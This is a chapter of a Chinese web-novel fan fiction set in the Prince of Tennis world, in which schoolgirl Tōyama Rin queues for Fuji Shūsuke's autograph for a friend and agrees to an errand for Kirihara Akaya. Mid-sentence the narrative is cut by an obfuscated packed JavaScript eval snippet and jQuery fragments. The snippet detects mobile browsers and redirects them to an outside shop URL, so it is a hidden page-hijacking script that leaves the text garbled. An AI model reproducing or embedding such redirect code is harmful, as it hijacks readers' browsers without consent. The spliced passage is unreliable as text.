24.哆啦A凛

作品:《[网王]NPC今天也不想走剧情

    “哎呀!我还没说呢!”


    水原纱希又重复了一遍,抱住她的胳膊,整个人像只树袋熊一样挂上来,“就这一次,真的就这一次!凛凛你最好了对不对?”


    远山凛试图把自己的手臂抽出来,一次,两次,三次未果。


    ......水原纱希抱得太紧了,那张圆润可爱的的脸上写满了“你今天不答应就别想走”的决心。


    “我是甜品社副社长,实在是走不开,我只能把这个重大的任务交给最信任的你了。”


    这倒是实话,纱希虽然是个恋爱脑,但却是个有事业心的恋爱脑。在追逐男神的路上,不管是学习,还是社团以及啦啦队,一样都没落下。


    “你先松开。”


    “你先答应。”


    “哪有你这样谈条件的?”


    水原纱希不仅没松手,反而把下巴也搁到她肩膀上,一双大眼睛眨巴眨巴地望着她,声音软得能掐出水来:“凛酱~你想想,咱俩从开学同班到现在,我什么时候求过你?这是我一生一次的请求!”


    远山凛嘴角抽了抽,毫不留情地戳穿她:“那你一生一次的请求未免也太多了吧?上次找我当啦啦队替补的时候你也说同样的话。”


    “那不一样!”水原纱希理直气壮,“上次是为了我的事业,这次是为了我的心。事业和心能一样吗?”


    远山凛被她这番歪理噎得说不出话。


    水原纱希见状,立刻乘胜追击,眼睛忽闪忽闪地开始发动嘴甜攻势:“而且你想啊,凛你是什么人?你是可以实现别人愿望的哆啦A凛啊!这点小事对你来说还不是手到擒来?”


    “哆啦A凛是什么鬼……”被糖衣炮弹轰的有点头晕,远山凛脸颊微微发红。


    “就是长得漂亮、心地善良、无所不能的凛酱啊!”水原纱希双手交握作祈祷状,“你就帮帮我嘛,我实在是咽不下这口气。你看那个榊原莉香,发快拍的时候那个语气,那个嘚瑟的样子,我要是不反击回去,我这辈子在她面前都抬不起头来了。”


    远山凛垂眼看着她。


    粉发少女仰着脸,眼眶微微泛红,神情带着三分委屈,七分期待,活像一只被欺负了的小动物,可怜巴巴地望着唯一能替她出头的救命恩人。


    远山凛从小就受不了别人这样。


    小时候路边看到小流浪用这种眼神看她,她能把自己的午餐分出去一半。甚至就连越前龙马那双猫眼偶尔露出类似神色时,她也会莫名其妙心软一小下。


    陆米女士曾锐评:这就是典型的吃软不吃硬。


    不过越前龙马这么些年也只有那么屈指可数的几次,才不会像眼前的这位奥斯卡影后候选人一样随地大小演。


    “……服了你了。”远山凛认命地放下叉子,拿起餐巾纸边擦嘴巴边问道:“说吧,想要什么样的?就写个名字还是写祝福语?有没有指定内容?”


    水原纱希眼睛瞬间亮了,整个人像弹簧一样坐直:“我就知道凛酱你最好了。我要to签~就写‘给纱希’......不行不行,这样太普通了。写‘给世界第一可爱的纱希’?也不行,字数有点多……”


    “停停停。”眼看话题越跑越远,远山凛敲了敲桌子制止她天马行空的发散思维,“不二学长后面还排着长队呢,你想让人家写小作文啊。”


    水原纱希想了想,觉得很有道理勉为其难地下定决心:“那就写‘给纱希,谢谢你的支持’。然后画一只小兔子。一定要有小兔子!”


    兔子是纱希自设的卡通形象,倒也合理。


    “知道了知道了。”远山凛站起身,拍了拍校服裙子,原地跺了两下脚,提前给水原纱希打上预防针,“我尽力,要是没画成你可别怪我。”


    “不会的,周助哥是全能,区区小兔子肯定不在话下。”


    ......跟你们这些恋爱脑狂粉真的没话讲。


    水原纱希也跟着站起来,从包里翻出一个小本子和一支荧光笔,双手捧着递到她面前,态度虔诚得像在进行某种神圣仪式,“用这个,这个颜色显眼,他一眼就能看到。”


    远山凛接过本子,随手翻了翻,发现里面密密麻麻贴满了不二周助的照片和剪报,还有好几张已经泛黄的签名。


    她抬头看了水原纱希一眼,有些惊讶。


    粉发少女不好意思地低头笑了笑,两根食指不停地相互搅动,小声说:“我从小学就开始喜欢他了。”


    远山凛忽然觉得手里这个小本子沉甸甸的,满载一个女孩从小到大满心满眼的爱。


    她郑重地把本子收好,正要转身离开,水原纱希一把拽住她的袖子,飞快地从口袋里掏出三张券塞进她手里。


    “这是什么?”


    “我家的甜品免吃券。”水原纱希笑得眉眼弯弯,“三张,全场通用,不限品类,够有诚意了吧?”


    远山凛低头看了看手里的券,又抬头看了看水原纱希那张写满“你快夸我”的脸,忍不住弯起嘴角。


    “行吧,”她把券揣进口袋,转身朝人群走去,背对着水原纱希挥了挥手,“等我好消息。”


    “加油!你是最棒的哆啦A凛!”


    身后传来元气满满的加油声,远山凛脚步顿了顿,无奈地摇了摇头。


    这个称呼,估计要被她念叨好一阵子了。


    远山凛很快就重新靠近了网球社的区域。


    她站在人群外围,看着那条长龙,不自觉地倒吸一口凉气。


    怎么感觉队伍越排越长了,社团大会不是都接近尾声了吗?


    队伍从摊位正面一直延伸到侧面,又在侧面拐了个弯,顺着操场边缘蜿蜒出去,最后消失在那棵大银杏树的阴影里。粗略数了数人头,少说也有六七十号人。


    远山凛捏着手里那个贴满不二周助照片的小本子,忽然有些后悔刚才答应得太快。


    她探头往队伍前方张望,想看看有没有什么捷径可走,比如趁人不注意混进内部通道,或者找个熟人帮忙递一下本子。龙崎樱乃就在旁边的女子网球社摊位,要是让她帮忙……


    不行不行,樱乃那么腼腆的性子,让她去帮自己要别的男生的签名,估计脸都要红透了,搞不好还会被旁边那群虎视眈眈的后援会成员当成假想敌盯上。


    那找越前龙马?


    这个念头只在脑海里停留了不到两秒,就被她迅速掐灭了。


    不知道为什么,光是想象那个画面——她拿着写贴满另一个男生图片的本子,去找越前龙马,让他帮忙要签名——就觉得浑身上下都不太对劲。


    怪怪的。


    说不上来哪里怪,但就是怪。


    他肯定会用那双没什么波澜琥珀色的眼睛看着她,帽檐的阴影遮住半张脸,看不清表情,语气淡淡地问一句“你要他的签名干什么”。她得解释是帮朋友要的,他大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217267|196497||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    概会“哦”一声,说点没什么营养价值的怼人垃圾话然后接过本子,转身去帮她找不二周助……


    远山凛想象了一下那个场景,莫名觉得有点心虚。


    明明没什么好心虚的。


    算了。


    她叹了口气,认命地朝着队伍末端走去。


    反正下午也没别的事了。绘画社那边该忙的都忙完了,该送的表也送到越前龙马手里了,现在回去也是闲着。就当是帮纱希一个忙,顺便体验一下追星女孩排队要签名的日常。


    远山凛百无聊赖地靠着银杏树,掏出手机打发时间。排队这种事,最磨人的不是腿酸,是无聊。


    刚打开社交软件,消息提示就蹦了出来。


    【切原赤也:呼叫凛酱!呼叫凛酱!】


    前天手伤恢复的差不多了,她开了局手机游戏,拉着在线的‘不考上立海大不改名’组队。语音开麦的时候,耳机那边乱糟糟的,很吵,改名同学解释说他刚结束训练,还在社团活动室。


    无意间听到了立海大的名字,连翻追问之下改名哥终于搞懂了为什么之前远山凛叫他小朋友还嘱咐他好好学习。


    “......我只是忘记改名了。”然后报复性的直接自报家门,。


    “立海大高中一年级,切原赤也。”


    “哦,我叫远山凛。”礼尚往来。


    [远山凛:在,现在没法打,信号不太好。]


    嗯,就连这句话都是过了好几秒才发送成功。周围人实在是太多了,远山凛举着她的美版水土不服水果手机无语望天。


    那边正在输入的提示闪了又闪,远山凛以为他在写小作文。过了好一会儿,消息才发过来。


    【切原赤也:NONONO,不是游戏。这周六有个漫展,咱们玩的那个种田游戏在现场能领限定奖励,就一天,错过就没了。我本来想去,但我老大让我跟着去看场很重要的比赛,走不开。求你,我唯一的姐,能不能帮我去一趟,这是我一生一次的请求!】


    文字下面还跟着几张奖励实物图。


    一生一次的请求?


    她盯着这几个字看了几秒,脸上的表情很精彩。


    今天到底是什么日子,怎么一个两个都跑来跟她说这个,这是什么互联网新梗吗?还是说她突然从NPC身份叠加上了什么阿拉丁小属性。呼叫系统查看了一下自己目前的面板......也没变啊。


    看来是时候该反思下是不是自己冲浪的强度和广度了。


    不过这个实物图真是绝美,心动ing。


    【远山凛:地址发过来。】


    太阳渐渐西斜,橘红色的光从银杏叶的缝隙里漏下来,在地上投出斑驳的影。远处操场上社团纳新大会的喧嚣渐渐平息,校园音响里传来的振奋音乐声也换成了舒缓的调子。


    远山凛站得有些腿酸,索性把重心换到左脚,又换到右脚,百无聊赖地打量着四周。


    最前头那个双马尾女生已经拿到签名离开了,换上来的是一个戴着黑框眼镜的学姐,手里拿着一个看起来就很贵的相机,正低头翻看刚才拍的照片。


    往后点还有几个人在低头刷手机,有人在小声聊天,话题从“不二学长今天穿的外套好好看”一路蔓延到“听说他国中的时候就特别受欢迎”“他弟弟也在青学你知道吗”。


    不,他弟弟已经转学去圣鲁道夫了,你是个假粉吧!